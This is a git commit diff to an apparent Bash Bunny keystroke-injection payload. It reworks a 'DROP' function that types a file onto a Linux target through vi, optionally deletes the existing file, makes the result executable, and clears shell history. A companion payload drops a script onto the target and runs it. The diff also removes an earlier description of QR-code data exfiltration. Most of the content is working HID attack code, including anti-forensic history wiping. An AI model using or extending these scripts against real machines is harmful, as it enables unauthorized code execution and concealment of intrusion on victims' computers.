All Working with executable and overwite options

pull/318/head
bg-wa 2018-01-27 18:33:25 -08:00
parent 5c764849f3
commit b3b9f75200
4 changed files with 42 additions and 52 deletions

View File

@ -2,44 +2,55 @@
# #
# DROP v1 by bg-wa # DROP v1 by bg-wa
# Simplifies dropping files from HID attacks for LINUX # Simplifies dropping files from HID attacks for LINUX
# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite] # Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
# #
# Example: # Example:
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true # DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
source ./run.sh source ./run.sh
source ./debug.sh
function DROP() { function DROP() {
DEBUG "drop" "start" source=$1
local source=$2 destination=$2
local destination=$3 overwrite=$3
local overwrite=$4 executable=$4
#local os= #os=
RUN terminal RUN UNITY xterm
QUACK DELAY 1000 QUACK DELAY 1000
if "$overwrite" == "true"
then
QUACK STRING rm "$destination"
QUACK ENTER
QUACK DELAY 500
fi
QUACK STRING vi "$destination" QUACK STRING vi "$destination"
QUACK ENTER QUACK ENTER
QUACK DELAY 500 QUACK DELAY 500
QUACK STRING i QUACK STRING i
;;
while IFS= read data while IFS= read -r data
do do
if [ "${data}" = " " ] QUACK STRING "$data"
then QUACK ENTER
QUACK SPACE
else
QUACK STRING "$data"
fi
done < "$source" done < "$source"
QUACK DELAY 500
QUACK ESC QUACK ESC
if $overwrite QUACK ENTER
QUACK STRING :wq! QUACK STRING :wq
else QUACK ENTER
QUACK STRING :wq
if "$executable" == "true"
then
QUACK STRING chmod +x "$destination"
QUACK ENTER
QUACK DELAY 500
fi fi
QUACK STRING history -c
QUACK ENTER
QUACK STRING exit
QUACK ENTER QUACK ENTER
} }

File diff suppressed because one or more lines are too long

View File

@ -1,7 +1,7 @@
#!/bin/bash #!/bin/bash
# Get out of bed and do something productive here instead... # Wake up and do something productive here instead...
sleep 10 sleep 10
# Kaboom!! # boom!!
firefox "~/boom.html" firefox "http://hak5.org"

View File

@ -4,12 +4,10 @@
# Author: bg-wa # Author: bg-wa
# Version: 1.0 # Version: 1.0
# Category: HID # Category: HID
# Target: *NIX # Target: UNITY
# Attackmodes: HID # Attackmodes: HID
# #
# Quick HID only attack to write an HTML/JS file to target machine # Quick HID only attack to write a file to target machine and open
# and open a browser, to exfiltrate data Using QR Codes and a video
# recording device.
# #
# | Attack Stage | Description | # | Attack Stage | Description |
# | ------------------- | ---------------------------------------- | # | ------------------- | ---------------------------------------- |
@ -21,17 +19,12 @@
ATTACKMODE HID ATTACKMODE HID
LED SETUP LED SETUP
source_scipt="/root/udisk/payloads/${SWITCH_POSITION}/fuse.sh" source_script=/root/udisk/payloads/$SWITCH_POSITION/fuse.sh
target_script="~/fuse.sh" target_script=\~/fuse.sh
source_html="/root/udisk/payloads/${SWITCH_POSITION}/boom.html"
target_html="~/boom.html"
LED ATTACK LED ATTACK
DROP $source_script $target_script DROP $source_script $target_script true true
DROP $source_html $target_html RUN UNITY $target_script
RUN LINUX "${target_script}"
Q ENTER
LED FINISH LED FINISH